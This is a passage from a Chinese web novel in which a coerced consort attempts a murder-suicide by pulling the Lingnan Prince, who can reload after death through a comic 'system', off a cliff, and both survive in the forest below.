裴湛垂眸看过去,“允书,怎么了?”裴允书眨眨眼,又摇摇头。叔侄俩呆了好 会儿,直到裴允书不自觉地打了个哈欠,面带困倦,裴湛将他带到床上,隔着被子轻轻拍,待他呼吸绵长后才离开。开门时,睡在垫子里的大福睁开眼,发出一声低呜,随后翻了个身,又睡过去了. …….王呜。” 谷雨霏霏,淅淅沥沥,沿着屋檐往下坠,裴湛在廊下站了一会儿,独自往书房走去,路上遇到侍从,皆是恭敬行礼。 “侍君。” “侍君可要茶?” 裴湛什么都没要,只想一个人静静。 他沉默地坐在自己的书桌前,手里握着那块龙纹棱星玉佩,耳边倏然回响起岭南王说过的话,一字一句,都在告诫他…… 无权,只得受人摆弄,听从安排。 岭南王不愿当一闲王,无法忍受皇帝骑在他头上发号施令,那他呢? 将太子拉下马后,他就甘愿永远被岭南王当成掌中之物,肆意操纵和使用吗? 这块玉佩,像是另一把钥匙。 裴湛紧紧握着它,忽然升起了一股对权力的渴望,比之从前,要更加浓烈,更加纯粹,仿佛打开了一扇欲|望之门。 最可笑的是— 裴湛隐隐感觉到,这似乎也在岭南王的谋划之中,到了这一刻,他仍走在男人为自己事先安排好的既定道路上。 并且,他没有别的路可走。 意识到这一点之后,裴湛握着玉佩的手愈发收紧,怔怔出着神,直至指尖传来一道刺疼,才恍然回神。 他低头一看。 原来是他的无名指抵在棱星一角,在过于用力的抓握下,指盖侧面破了一道小口,丝缕鲜血从破口渗出来,滚成一粒琥珀珠子。珠子从指尖滚落,无声无息。 这抹红飞快地蹭过棱星,染上些许血色。 裴湛回过神,将玉佩轻置于桌面。待擦干了指尖血迹,他还想拭去棱星上沾染的血痕,却发现玉佩干净如初,没有一丝污浊。 ……错觉么? 亦或是,血迹已被他无意中抹去了? 裴湛眼眸半阖,暗叹一口气后,敛起了纷杂的心绪。毕竟有太多要紧事横在他眼前,那滴血的去处着实无关紧要,很快便被他抛诸脑后了。 殊不知,被他收入暗格的玉佩正微微发亮,散发着玉石不该有的热度。 当晚,裴湛开始做噩梦了。 他梦到自己变成了一个手脚无力的幼童,整日被困在一个又冷又暗的阴森地方,腹中饥饿,咽喉干咳到快要冒火。 好饿啊。 这是他脑中唯一的念头。 翌日清晨,裴湛用着早膳,旁边的一大一小原本还各自吃着,后来只顾着盯着他看了,男人还轻笑着问他, “湛湛,你昨夜莫不是做贼去了?” 裴湛这才发现,在不知不觉中,自己用了比平时多得多的饭食,以至于饭后服用了两丸山楂消食丹才缓过来。 胃里那股几近灼烧的饥饿感挥之不去。 第二夜,裴湛又做噩梦了。 他梦到一个容貌清丽的女人悬在自己上空,满脸决绝和惊惧地扯紧了手中的系带,嘴里语无伦次地说着,“不要怪我,我也没有办法…….” “你这么小,我等不下去了。” 裴湛喘不上气来,视线越来越模糊,用尽全身力气去挣扎,却无济于事。濒死之际,他看到自己的两只手死死抓着女人的袖口。 好小的两只手。 左手背上缀着两粒小痣,挨在一起。 这夜,裴湛没能睡到天亮。 他是被枕边人摇醒的。 醒来时,他恍惚瞥见罩在自己身上的男人,下意识地挣扎了起来,指尖不留神抓伤了岭南王的颈侧,留下两道红痕,渗出血。 裴湛喘着粗气,连忙告罪。 男人抬手碰了碰自己被抓伤的位置,忍不住轻蹙起眉,“梦到什么了?让你如此惊恐?” 裴湛沉默片刻,莫名吐出一句谎言, …不记得了。” 此后数日,他夜夜困于梦魇。 梦中的他像是变成了另一个人,然后切身体会着那人一次又一次的死亡,以及片段记忆。 离奇的是, 那人竟在死亡中长大了。 从走路磕磕绊绊的幼童,逐渐长成身强体健的少年人;从为人所害,到反施其道,让谋害过自己的人自食恶果,再到主动下手…… 裴湛好似寄居在他体内的一抹幽魂,透过他的眼,看到了不属于自己的记忆碎片。 太傅、谢昙、各色人物…… 裴湛唯独没瞧见这具身体的面容。 但此人的身份已经昭然若揭。 又一夜,裴湛从死亡中醒来,脑中不由得闪过一道思绪:世间真有鬼怪,能死而复生? 都说猫有九条命,那么他又能重活多少次? 裴湛盯着帐缦,藏在被子底下的手在被单上一笔一划地写下几个字,系统’、回档、登基通关、‘重返现世…… 屋子里的烛火亮起来了。 男人坐在床边,常先生被侍女领进内室,前来为他诊脉,很快低声道出结论“王爷,裴待君夜寐不宁,体发高热,此 肝气郁结所致,是忧思过度,心肝两脏和之象。” “本王知道了,常先生开药方吧。” 等常有道写下药方,侍女领着单子去抓药煎煮之后,嵇燕台敛下眸,看向躺在床榻里侧的人,一张脸白惨惨的,额角满是虚汗。 他有点怀疑是自己逼得太紧了。 但也不至于吧? 依他看来,裴湛的抗压能力没这么差。 若是裴湛刚进府的那段时间,难以忍受他的逼迫,将自己憋到生病,嵇燕台还能信,但这都两年过去了…… 回岭南的路途漫漫。 裴湛知道册封世子之事也有段时间了。 转念一想,嵇燕台又觉得正常。 或许裴湛这一口气憋了两年,直到太子被废才松了一半,结果又知晓裴允书的事情,心情剧烈起伏,回岭南后还被自己拉到榻上消磨时光。 心身俱疲之下,自然会病倒。 嵇燕台摸了摸颈侧快要愈合的划痕,倏然想起了那夜裴湛被自己晃醒时,望过来的眼神。 愤怒、抗拒、又绝望。 嵇燕台非但不生气,心情还有些畅快。 因为他知道,裴湛朝着自己想要的样子又前进了一步。最终,那人会真正走到他面前,成为他在此世间唯一的同类。 “不烫了,张嘴。” 嵇燕台贯彻着打一鞭子喂一颗糖的态度,当侍女端着药上前时,他先是接过药,吹凉了,然后把人抱坐起来,亲手喂下去。 “憋着气,一口闷了,这样才不会苦。” 裴湛就着他的手喝完了药,神色淡淡,似乎一点也不觉得苦,但嵇燕台仍是眼疾手快地往他嘴里塞了一粒蜜饯,叹气道“一个还没好全,另一个又遭殃了。” 说完,他揽着裴湛重新躺下。 “闭上眼。” 裴湛侧躺着,整个人嵌在男人的怀中,顺势合上眼皮,背上有一只手轻轻摸着他的背,同时,岭南王的声音在他耳边响起, “乖乖,哄你睡觉好不好?” 裴湛默了默,“.….不要数数。” 那人发出一道鼻音,“嗯?这么挑剔?这可是本王独家心理疗法,适用于各种创伤后遗症和睡眠障碍,允书用了都说好。” 裴湛浑身冷,往他怀里缩,“嗯。” 恍惚中,他想起梦里的那个人。 那人也数着数,哼着歌,不自觉地揉捏着书页一角,偶尔说着别人听不懂的话,独自笑,独自死在某一天,又独自复活。 谁也不会记得。 这个似乎叫做‘回档。 裴湛在梦里死过很多次,死法各不相同,痛苦已经无法辨别,唯有一种情绪宛如长枪,贯穿他的心口,让人无法忘怀。 那是一种无法消解的、彻骨的孤独。 裴湛恍然忆起那本霁灵帝的随笔小册,岭南王曾领着他—解读,有时还会忽然嗤笑出声,里面偶尔会出现几个墨团,三 两两地并列在一起。 快要入夏了。 岭南又下起雨,一阵阵的。 雨水的潮气透过窗纱,沁入了内室,裴湛嗅着潮冷的气息,眼前似乎出现了一只大手,将那几个墨团轻轻擦去,露出底下的姓名。 — 嵇、燕、台。 你要到哪里去。你变成了谁。 而你,又要让我变成什么样子。 裴湛从未这样困惑过,却又大梦初醒一般,他闭紧眼,听着男人轻哼的歌,倏然开口道:“你根本就不在意允书,只是因为我……. “对你来说,我到底是什么?” 话音刚落。 那歪歪扭扭的曲调戛然而止。 屋中昏暗,嵇燕台面朝着里,下巴抵在怀中人的头顶,眸光沉沉。他很认真地想了一会儿,没有说“小老婆”之流的评价,只吐出一句意义不明的话语。 “你是……我的镜子。” 裴湛听不明白,他总是听不明白。但他感受着腰间愈发收紧的臂膀,听出了男人平静语调底下藏着的滔天巨浪。 那是一种深不见底的执念。 不死不休。 裴湛更觉得冷,忍不住打了个寒颤。 又过了两三日。 裴湛的高热终于降下去了,刚一恢复,他就通过书房密道去了趟梧桐苑,处理积压的信件。 嵇燕台见他精神气好了些,乐见其成。 这些天裴湛的状态着实堪忧,人一天比一天蔫巴,比起他这副模样,嵇燕台更想看裴湛端着一张沉静清雅的脸,去争斗,去夺势。 哪怕敌人就是嵇燕台自己。 他喜欢看,感觉就像照镜子一样。 算了算原著时间,裴湛约莫要与正攻容阙重逢了。嵇燕台如此想着,干脆给了裴湛更多自由,让他多出门散散心。 就当给小孩儿放假了。 都忙活两年了。 万万想不到,裴湛沉默片刻,缓声道:“我想去悬顶寺住两天,为爹娘兄嫂等人烧些纸钱,抄两卷经书,以告慰他们的在天之灵。” 嵇燕台自是同意。 裴湛声量更低,“王爷要一同前去吗?” 嵇燕台挑了挑眉,手里翻动着话本子,指尖在页角捻了个圈,搓得纸片发毛打褶,“嗯?不太方便吧?” 他要是去了,裴湛怎么跟容阙相认? 裴湛敛眸,唇微抿,表情看起来有些失落。 嵇燕台瞥他一眼,心里哦哟了一声,演技还怪好的,随即笑着将人拉进怀里,“既然你如此诚心诚意,那本王便随你去小住两日,以显诚心。” 翌日。 两人收拾了一辆马车,前往悬顶寺。 裴允书被留在府中,脚边蹲着一只同样眼巴巴的大福,嵇燕台撩起帘子回望一眼,随口道:“湛湛,你这该不会是调虎离山之计吧?” “本王一回府,世子就丢了?” 裴湛注视着他,神情坦荡,“王爷多虑了,就算我让人带走了允书,我的老师也还在京城,老师待我恩重如山,亦是软肋。” 下一瞬。 道电子音在嵇燕台的脑中响起, “哦滴莫哟,我好像闻到了火药味的味道,宿主,主角这是打算跟你撕破脸了吗?” 这玩意儿好久没出现了。 嵇燕台无声应道:“你还没死啊。”N001:“…宿主你多少有点不礼貌了。”说完,袍径自补充道:“本系统的能量严重不足,只好开启节能减电模式了。”还要浪费能量去搜索那个野生小系统。N001为自己掬了一把辛酸泪。嵇燕台对前任和现任系统没什么好脸色,此时更懒得应声,权当没听见。他好整以暇地回望着裴湛,露出一抹得意的笑。说对了。裴湛的软肋太多,所以赢的人只能是他。两人点到即止,乘着马车上了山。不多时,外头的车夫忽然禀告道:“王爷,裴侍君,近日降了几场大雨,通往悬顶寺的路被山石堵住,还要想上山的话,只能改道了。”嵇燕台没吭声,只是扬了扬下巴,让裴湛来做决定。不知裴湛在想什么,忽然怔了怔,很快便应了声,“……改道吧,走另一条路。”山间潮湿,远山雾浓。悬顶寺的身影在山雾中若隐若现,伫立在悬崖峭壁边,仿佛悬浮在半空中,一株粗香燃了不知多久,白烟直升。嵇燕台深深望了眼这个佛门清静之地。裴湛神色宁静,果真如他所说,整整抄了两天的经书,然后找了个临崖的地方,连同纸钱一道烧成了灰。风吹得很响。白灰很快消散在天地间,隐于山色。嵇燕台站在不远不近的地方,睨着裴湛消瘦了两分的背影,只觉得他现在看起来像是一个欲乘风归去的青衣山鬼。盆中的火光将熄。裴湛站在崖边,转过身来。山风一个劲儿地撩动着他的长发与衣袂,身后的连绵青山很朦胧,他眼眶微红地望着嵇燕台,缓缓展开了双手,仿佛下一刻就要向后倒去,“如果我跌下去,会死吗?”嵇燕台很淡定,微笑着点头,“当然了,你是一具血肉之躯,若是从这里摔下去,恐怕连尸骨都无法保全。”“不光如此,允书也会死,你所有珍视的人都会因你而死去,包括容含章,也包括他的儿子,你应该还记得吧?”“你还烧过他的牌位呢。”嵇燕台观察着他的神色,恍然大悟,“哦,看来你们已经碰过面了……他恢复记忆了?”裴湛静默片刻,不接话。倏然,他自嘲 笑,“我不想做那个故事里的第二只猴子,你也不必在我身上寻自己的影子,我不像你…能一次次地死而复生,我只是这世间再普通不过的一个人。”“我没有系统,不能回档。““——我会死。“裴湛一边说着,一边后退,脚后跟踢到一块碎石,咕噜噜地滚下了山崖,响声微渺。老实说,嵇燕台几乎没藏过自己与霁灵帝的特殊联系,但他知道,以现在的时代局限性,裴湛顶多猜测他是霁灵帝转世轮回。系统,回档……裴湛怎么会知道这些名词?很难得的,嵇燕台露出了一抹意料之外的惊讶神色,心中有怒意在滋生,可他已经没有时间思考这些了。眼见裴湛整个人即将往后仰去,系统在他脑中发出尖锐爆鸣,“宿主,救命啊!”“要是主角跳崖自尽,这个世界就完了!”别说系统特意提醒,嵇燕台也不会让裴湛就这样死去。他只是没想到裴湛能抛开裴允书不顾,选择一条死路。这不符合他的性格。嵇燕台沉下脸,感到事态忽然超出了自己的预料与控制,他平日鲜少动弹,身手其实不差,飞快上前拉住裴湛的手腕,想要将人往回拉。 就在这时。 他忽然听到一声叮。 系统仿佛也没料到现在的局面,小声卧槽了一声,随即将音量调到最大,提醒道:“宿主,后台显示第二个任务已完成…” “经检测,主角对你杀意100%!” “我勒个球,主角不是想自杀,他是想掀桌子,直接跟你同归于尽啊!!” 听到这话,嵇燕台的身形一顿,在一阵尖锐爆鸣中,他感到一双手环住了自己的腰,想要将自己往下拉。 风声从耳边刮过,山庙将要倾倒。 嵇燕台正要反拉着那人往回退,忽然听到那人凑到自己耳边轻语,“…这一回,你不是一个人独自死去。” 不是一个人。 听到这话,嵇燕台一个恍神。 就在这个瞬间,嵇燕台被裴湛环抱着,一同坠入崖下。他下意识回抱着,萦绕在心头的错愕、怒意和惊疑,统统来不及发酵,就被风吹散了。 他的脑子里飞快闪过一句话, 我靠。 到底是哪个神经病给了裴湛过时消息啊? ……他现在又不能回档。 要死。 四句了。 305、Chapter 305... 提问 把一个读书人逼急了,会发生什么? 虽然没人邀请,但嵇燕台不请自来,用自己的亲身经历回答了这个问题。 岭南山崖底下终年笼罩在雾气中。 空气湿沉,掺着一股腐烂的土腥气,春夏季节的树冠茂密且张扬,阳光勉强从缝隙处挤进来,有些稀薄,泛着白。 每吸一口气,肺叶仿佛被濡湿的苔藓塞满。 好沉重。 嵇燕台没想到自己还能醒过来。 坠崖的呼啸风声犹在耳边,剧痛从四肢百骸交替着传入脑中,可嵇燕台艰难地睁开双眼,脑子里第一时间想起的…… 是裴湛那句轻语。 这一次,你不是一个人独自死去。 还真让裴湛说对了。 他确实没有独自死去,且活着呢。 嵇燕台转动眼球,模糊的视线逐渐清晰,目之所及,是一片绿色的树荫,侧枝繁多,且缠绕着无数坚韧的藤蔓,密密麻麻地往下垂。 正上方有一个透光的豁口,周遭树枝断裂。 嵇燕台被藤蔓承托着,整个人微微悬空。他看着头顶那截断裂的枝干,稍微动弹了一下,缓过来的大脑瞬间给浑身上下的疼痛排了个序。 右腿最疼。 大概是它表现最出众,施展了一招从天而降的脚法,把那截树枝一脚踹断了。 不过树枝还了手,把它一并撞断了。 平手。 在潮湿多雨的环境中,这些藤蔓肆意生长,韧性很足,嵇燕台估摸着只要自己不像陀螺一样疯狂扭动,一时半会儿大概掉不下去。 裴湛呢? 嵇燕台刚一闪过这道念头,耳边就响起系统的呼气声,听起来似是狠狠松了一口气,“呜哇,宿主你终于醒了!好险好险,吓得我差点就要掏积分卡了!” “系统?”他无声道。 “我在呢!” 话音刚落,一个发着白光的球形飞行物出现在他鼻梁上空,险些将嵇燕台的眼睛晃瞎。 一错眼,那东西降低了亮度,显出原形。 嵇燕台盯着这坨拇指点大的小鼻嘎,被正用一只粗短圆润的啾啾拍着自己,像是在压惊,“刚才好惊险哦,我要是没用能量做缓冲,宿主你真的会摔成八瓣的!” 嵇燕台打断袍,“裴湛呢?” N001已经很习惯被无视,或被嫌弃了,若无其事地应道:“我让我的小弟去救他了,就是不知道他们的落点在哪里……” “总归是保住了主角的小命,要不然这个世界已经完球了!” 裴湛也没死。 此次跳崖行动很安全,无人死亡。 “小弟?”他随口问了声。 N001应道:“我的辅助子系统。” 嵇燕台:“哦。” 他用气音虚弱地笑了一声,不知道是在笑自己此刻的境况,还是笑这个废物系统居然还是买一送一的。 如果那个失踪两年之久的皇帝养成系统也在这里的话,这些家伙都快凑齐一桌麻将了。 下一瞬。 嵇燕台想起裴湛在崖边吐露的那番话语,唇边的笑仍在,眸色却愈发深沉,仿佛覆盖了一层厚厚的落叶,阳光照不进来。 “裴湛身上有没有系统?”他问。 N001本来还想嚎两声能量损耗,导致自己身形又缩水了,卖一卖惨,表一表功,再骗一骗…咳,奈何这个宿主是真狠人啊。 浑身伤,但刚醒来就进入了状态。 现在这情况可真不是N001刻意为之。 袍的能量真的不多了,身形又缩水一圈。 NO01有些失落地叹了口气,“没有检测到主角身上出现系统波动呢。” “如果有的话,我就早拿它来补充能量了,反正这种野生系统在时空书局没有编码,神不知鬼不觉,吃到就是赚到。” 可惜,一直找不到那个野生系统。 到底跑哪儿去了啊? 嵇燕台不理它的抱怨,继续问:“那裴湛怎么会知道我前世的事情?还那么详细?该不会是你之前弄出来的那个日记本泄露了我的隐私吧?” NO01:……本系统也不知道呢。” 神试图为自己辩护,“宿主你分明抱着主角一起看得津津有味,里面没有涉及系统 等超自然元素的内容,我还特地给你的真名打码了呢!” “绝对不是我!” 嵇燕台排除了现任系统的因素,忽然想到了那个被自己转送给裴湛的玉佩道具,心中起疑,随口应了声,“需要我跟你说谢谢吗?” NO01觉得自己又被嫌弃且阴阳了。 “那倒不用。”袍应道。 嵇燕台不耐烦看这个会发光的球形鼻嘎在眼前晃悠,干脆闭上双眼,想要静一静心,却又听到袍在耳边叽喳, “哎,宿主你的腿伤好重……. 嵇燕台反问:“那你能给我治吗?” NO01诡异地停顿了一瞬,搓了搓啾啾,小声应道:“我是能帮宿主在系统商城兑换伤药啦,但需要积分,宿主名下是没有积分的。” 嵇燕台:“那你借我点,改天还你。“ NO01:…. 信你个鬼,封建老头子没有信誉。 “不行啦,这是违规行为,”婉拒过后,转而飞到了嵇燕台的耳朵尖上,企图吹耳旁风,“不过宿主可以把你的任务奖励抵押给我,我帮你兑换成积分,换取道具哦!”任务。 经过系统的提醒,嵇燕台想起来了。 他的第二个任务已经完成了,要求他百般折辱裴湛,使其下定决心反杀脱身,而在原著中,推了裴湛最后一把的,是裴允书开口说话了。 嵇燕台继续复盘。 先前那会儿,裴湛站在崖边,假装要跳崖寻死的时候,自己确实说了不少威胁人的垃圾话,大概更加坚定了他的杀意吧。 翻倍了都。 其实嵇燕台早就有所预料,自己跟裴湛不会一直这样下去,总有闹翻的一天,到那时,他们二人必然是不死不休的局面。 因此,他让常有道提前研究假死药。 只是在他的设想中,裴湛应该是跟正攻容阙重逢相认后,为了将裴允书带离岭南王府,两人齐心协力,暗中谋划,将他这个拦路虎送上西天。 嵇燕台没有想到的是…… 裴湛并非设计把他推下崖,而是一起跳了。 跳崖这件事,只导向两个结果。 其一,是嵇燕台死于崖下,没有变数。 岭南王府那头大概有人接应,借着大书房中的密道,趁机将裴允书带走。 而那个人,十有八九就是容阙。 反正他这个岭南王已经死透了,没法儿追究。 裴湛在王府中的地位不像原著中那样低贱,他深受宠爱,又早早把持了府中内务,说一声岭南王失足跌落山崖了,下人们估计不会怀疑什么。 对他来说,脱身很容易,舔包更容易。 结果二,是嵇燕台成功回档,重生于跳崖前。 若是提前知晓了裴湛的打算,他必然能够从容应对,少不得要拿裴允书开刀,施以雷霆手段,来回报裴湛的反叛行为。 但无论是哪一个结果,裴湛都没有主动跟他一同赴死的必要吧? 前者,裴湛活下来,能陪伴在裴允书身边,更有恩师挚友相伴;后者,嵇燕台在回档之后,并不会因为他也丢了一条命而息怒。 裴湛应当对他的道德水准很了解。 以死明志? 别搞笑了,他又不吃这套。 既然知晓了他的部分秘密,那么裴湛就应该愈发深刻地明白——他唯一能走的路,就是嵇燕台为他划出的那一条! ……所以,为什么? 嵇燕台阖眸沉思,没意识到自己喃喃出声,紧接着就听到那道烦人的电子音沉吟一声,很熟练地吐出一句恋爱脑语录, “因为爱情?” “主角不是说了嘛,这次不会让你一个人独自死去,真相只有一个,他心疼你了!心疼男人往往是被爱情蒙蔽双眼的象征哦!” 咻、啪。 NO01炸了个免费烟花,以示庆祝。 真是鬼话连篇。 嵇燕台咬了咬牙,额角微微跳动,没有将这个恋爱脑系统的废话放在心上,转而思考起了另一件事情。 他的最后一个任务。 按照原著内容,这个任务很简单,甚至不需要嵇燕台多费工夫,只要让岭南王′这位渣男前夫哥被主角干掉就行了。 如果他死在崖底,任务就算完成了? 嵇燕台问出声,系统给出详细答复,“如果主角死在宿主前面,任务自动判定失败,这个书中世界会崩塌,但现在主角没有生命危险……”“是啦。” NO01不情不愿地道了声,“宿主现在距离完成任务只有一步之遥了。” 真一步之遥。 但凡嵇燕台动作大一点,从藤蔓上摔下去,恰逢地上有块石头,他就能完成任务。 简直易如反掌。 NO01打量了一下自己现在的体型,想起自己刚才挽救宿主所消耗的能量,又算了算即将失去的积分,眼前一黑。 就在这时。 袍忽然听到嵇燕台说:“系统,我把任务奖励抵押给你,你帮我锁血。” ……哦咦? NO01瞬间支楞起来,语气里充斥着柳暗花明又一村的欣喜,以及对积分的渴望,“意思就是宿主要我在危急时刻,兑换道具帮你保命?” 嵇燕台:“嗯。” 他不着急,没玩儿够。 NO01飞快地从商城里兑换了一份价值五百积分的强制执行合同’,确保抵押行为成立。 实际上,并没有‘抵押’这回事。 有的只是好心系统刷自己……咳,刷别球的积分卡,为宿主垫付积分,兑换道具,然后在宿主完成任务之后,获取他的奖励。 这叫合理置换! 然而,在跟嵇燕台建立精神契约之前,袍沉默了一下,昧着黑心,提醒了一句, “那个……本系统事前告知,抵押了奖励,宿主没有获得积分的途径,无法赎回,就代表没办法回到原本的世界了哦。” 嵇燕台很干脆,“不稀罕。” 很快,N001收起合同,忍不住问了句,“宿主,你是不打算回现代了吗?” 嵇燕台睁开双眼,神色淡淡,“你不是说我上一个系统还在这个世界么?我在霁朝已经成功登基过了。” NO01:…. 不愧是你。 得到这个回答,N001存在感非常渺茫的良心一秒消失,非常利索地应道:“好的呢,在下嘴之前,我会让它把宿主的奖励先吐出来的!” “对了对了。” N001走上赚取一亿积分的光明未来,很热络地问道:“宿主,你腿断了,要不要给你兑换治愈道具?” “即刻生效,无副作用哦!” 这种道具的价格相对便宜,性价比非常高! 这时候,嵇燕台的余光瞥见一个散发着蓝光的球形飞行物靠近,另一道电子音同时响起,语调平静,但听起来很命苦,很疲惫, 【报告前辈,主角醒了。】 【没什么事的话,我先回系统空间了。】 见白色小鼻嘎挥了挥手,蓝色光球很命苦地出现,又很命苦地消散,已然放弃了任何SOS''行为,自觉在角落里躺好,调出娱乐界面。 不等嵇燕台说话,N001又道:“当它不存在就好了,新出厂的系统跟着出来蹭任务经验,派不上一丁点作用呢。” 嵇燕台回了个白眼。 思忖片刻。 他道:“先给我兑换止痛药品。” 除此之外,嵇燕台没有兑换其他物品了,不过他向系统提出了另一个要求, “你,去把裴湛给我引过来。” 如恋爱脑系统所言,止疼药见效极快,身体上的疼痛全然消散,嵇燕台感知不到半分,精神瞬间舒缓下来。 他盯着上空那个豁口。 有一小片天露出来,还是那么蓝。 莫名其妙的,嵇燕台又想起两人即将跌落山崖的那一刻,裴湛环抱着他的腰,说话的声音有些颤抖,眼眶很红。 为什么。 不是杀意100%吗? 雾气又凝聚起来了。 倏然,林间刮来一阵风。 嵇燕台被藤蔓挂住的身体很轻微地晃了晃,失重感也一晃而过,紧接着,这具失去所有痛觉的身体也想起了点什么。 是两人飞速下坠.….… 裴湛悄然将脑袋贴在他胸前,轻轻蹭了一下,时间太短暂,似乎只是嵇燕台的一场幻觉。 原来不是幻觉啊? 可那股杀意分明是真实存在的。 嵇燕台想不明白。 他活了太久,死了太久。他已经很久、很久都没有这样困惑过了。 然而,嵇燕台已经无法借着死亡回档,去问一问跳崖前的那个裴湛、那个眼眶湿红的裴湛、那个没有任何犹豫将他拉下悬崖的裴湛, 那么爱呢? 爱是真的吗? 或许它很微不足道,但它是真实存在的吗? 山风刮跑了刚聚起来的雾气,林叶发出沙沙的轻响,人的脚步声藏在里面,很隐秘。 嵇燕台却第一时间扭过脸,看了过去 … 306、Chapter 306 ... 山林寂静。 那阵脚步声也戛然而止了。 嵇燕台的视线被垂落的藤蔓枝条分割成一块块狭长错乱的格子,有个人站在格子里,一身青衣融于林野,唯独张脸惨白。 他回望着嵇燕台,好似丢了半截魂。 眸色空洞,神情茫然。 嵇燕台与其对视,瞥见他露在外头的肌肤布满了微小的擦伤,结了痂,是一道道暗沉的红,仿佛一尊精致细腻的白瓷玉被人摔出了裂纹。 很决绝。 而动手的人,正是裴湛自己。 嵇燕台打量了个来回,对比着自己和裴湛的伤势轻重—显然是他更加狼狈,但不知道为何,裴湛却像是伤势更重的样子,说不出来的空寂。 他的唇几不可察地颤了两下。 嵇燕台很贴心地回应了那句没有被吐出来的疑问,“可能这就是所谓的祸害遗千年吧,这么高的山崖,都没能摔死我。” “失望了?” 嵇燕台笑着说:“湛湛,你好狠的心呐。” 裴湛好半晌没说话,像是默认了。 此次悬顶寺之行,他本就是抱了死志的,势要与岭南王做个了断,无论成或不成,他都想用自己的一条命表明……… 他不愿走男人的旧路。 史书上,霁灵帝的名声不佳,弑父杀兄,幽禁生母,为登大位,已是犯尽天下之大不讳。最终他亦是惨烈收场,留下史书寥寥几笔。 那是一条注定走向毁灭的道路。 是啊。 可这一世的岭南王仍要往那条路上走。 不仅如此,他还想把裴湛也推上去。 无论裴湛愿不愿意。 甚至在他尚未抵抗的时候,男人就已经对他身边的人做出了安排,宛如执棋落子,每一步都走得运筹帷幄,让人不寒而栗。追究溯源…. 裴湛知晓,自己才是迎来男人注目的祸首。 他可以折腰迎合,可以恭顺侍奉,可以为了谋求之物,将自己交换出去,做岭南王后院里的一件玩物,供其赏乐。 两年前,他已经这么做过了。 偏偏岭南王要的不止如此,远不止如此。 裴湛早就知道男人的手段有多厉害,又从连日梦魇中得知那人身怀诡异的力量,宛如借了鬼神之力…… 如何能抵抗? 于是,裴湛试着从源头上解决问题。 不死不休。 人死了,便休了。 或许岭南王不会死,但他会。他会一遍又一遍地告诉那个人,无论你再怎么神通广大,也无法用一群活人胁迫一个死人。 那么,胁迫之法也没有了意义。 岭南王也就没必要去关注他身边的人了。 就算有百般执念,也只能作罢 …. 裴湛站在林间,望着那个被藤蔓挂住身体,伤痕累累,右小腿不正常弯折的男人,呼吸愈发沉重起来,肋下隐隐作痛。 很奇怪,那处分明没有伤。 听到男人听着有些虚弱,但仍旧带着调笑的问话,裴湛也深感疑惑。 为何这么高的山崖,都没能摔死他们两具血肉之躯?没有一命呜呼就罢了,为何自己身上就只有这些不碍事的轻伤? 裴湛恍然想起,在落崖之际,自己似乎感到一道诡异的承托之力,仿佛身体变成了一片轻飘飘的飞羽,失去了所有重量。 只是下一瞬,他就昏了过去。 再醒来时,裴湛发现自己落在一片杂草中,浑身上下只有轻微伤势,如有仙人相救。 ………仙人吗? 冥冥之中,他走到这片林中,遇到同样未死的岭南王。 瞥见那人的刹那间,裴湛内心倍感交集,有警惕、有忌惮、皆是对男人存活于世的沉重之情,除此之外,还有几分他不敢细思的轻松。 像是下意识松了一口气。 其实岭南王刚才说错了,裴湛想问的是……方才是不是他借助那什么‘系统’的力量,救下了自己? 为什么? 自己分明要杀他啊。 只是裴湛刚一启唇,就意识到自己不该问,亦或者说,就算他问出口,他与岭南王之间的矛盾也不会有任何改变。 因为他知道,岭南王不会回头。 不该问。不能问。不必问。 可裴湛怔怔地望着那人,只见顶上一束日光掉落下来,扑了他满身,映出男人带着笑的眉眼,仿佛这一切从未发生过。 逃避似的,裴湛连忙移开视线。 倏然,他又瞥见岭南王垂落在侧的手,衣袖被藤蔓掠起,露出素白里衣上的一抹墨痕。 那是他在悬顶寺禅房内抄经时,岭南王忽然凑过来,抢过他的笔帮着抄写的过程中蹭上的,当时男人嘴上还说着, “还病着呢。” 他想夺回毛笔,岭南王又说起了荒唐话,“就当本王为岳父岳母,长兄嫂嫂表心意了,他们泉下有知,绝不会介意的。” 墨痕就是那时候蹭上的。 就在这时,裴湛耳边又响起岭南王的声音,语调悠然,只是听起来有些虚弱, “脸色真难看,是在想要不要补刀吗?” “我给你支个招儿吧,其实你也可以就这样离开,让我独自死在深山之中,你回王府,从此海阔天空。” “我还没有体验过这种死法呢。” …. 不知怎的,裴湛忽然鼻尖一酸,泪如雨下。 嵇燕台还是第一次见他哭得这么伤心。 要知道,裴湛在他面前总是隐忍的,所有的情绪都藏在那双眸子里了,偶尔才流露出一两分。 这个偶尔,往往是在床榻间。 嵇燕台觉得他那副模样别有风姿,很爱看。 然而在这一时刻,裴湛的表情没了收敛,他的眉眼不受控制地皱起来,唇咬得死紧,额角肌肉轻微鼓动着,整个人都在发抖。 眼泪大滴大滴掉下来,砸在衣襟处。 他哭得好像一个小孩。 嵇燕台听到他的咽音从喉咙里挤出来,又被他艰难地咽下去,呼吸比满山的雾气还要潮湿,不自觉收起了唇边那抹微笑。 ……这么伤心啊。 是因为他吗? 是因为杀他这件事,让裴湛很难受? 嵇燕台冷不丁想起裴湛方才见到自己,有一瞬间松下来的双肩,心底第一次升起说不明道不明的滋味。 算了,不逼了。 腿都断了,还是老实点吧。 嵇燕台抬了抬手,主动开口道:“裴湛,我刚才救了你,所以你现在也救我一回,否则我做鬼都不会放过你的…… 他的系统救的。 四舍五入,就是他救的。 嵇燕台继续说:“这片山林广袤无边,瘴雾缭绕,就算王府侍卫即刻进山搜救,亦如大海捞针…倘若你我坠崖死了就罢了,如今倒是不必再寻死路吧?” “难道你真能舍得下允书?” 十分罕见的,嵇燕台脸上没有笑,眉眼间带了点冷,语气平静极了,“既然你知道我的底细,就该知道现在的情况是最好的。” “我伤势重,敌不过你。” “这可是你反客为主的大好时机啊。” 嵇燕台说得轻巧,仿佛身处劣势的人不是自己一样,最后还补充了一句, “我教过你的。” 裴湛一定能反应过来,对于一个能不断死后回档的老妖怪来说,残血状态是最好的,无法触发回档,还能趁机控制住他,不是非得鱼死网破不可。 天时,地利,人和。 这么一想,这腿真是断得巧啊。 嵇燕台被裴湛背在背上,如此想道。 裴湛的两条胳膊托着他的大腿,嵇燕台也不客气,双手环着裴湛的颈肩,两人就这样一路沉默地穿梭在林间。 严格来说,是嵇燕台单方面被冷暴力了。 自从裴湛红着眼将他从藤蔓间救下来,就再也没有跟嵇燕台说过一句话了,仿佛如裴允书一般,患上了哑疾。 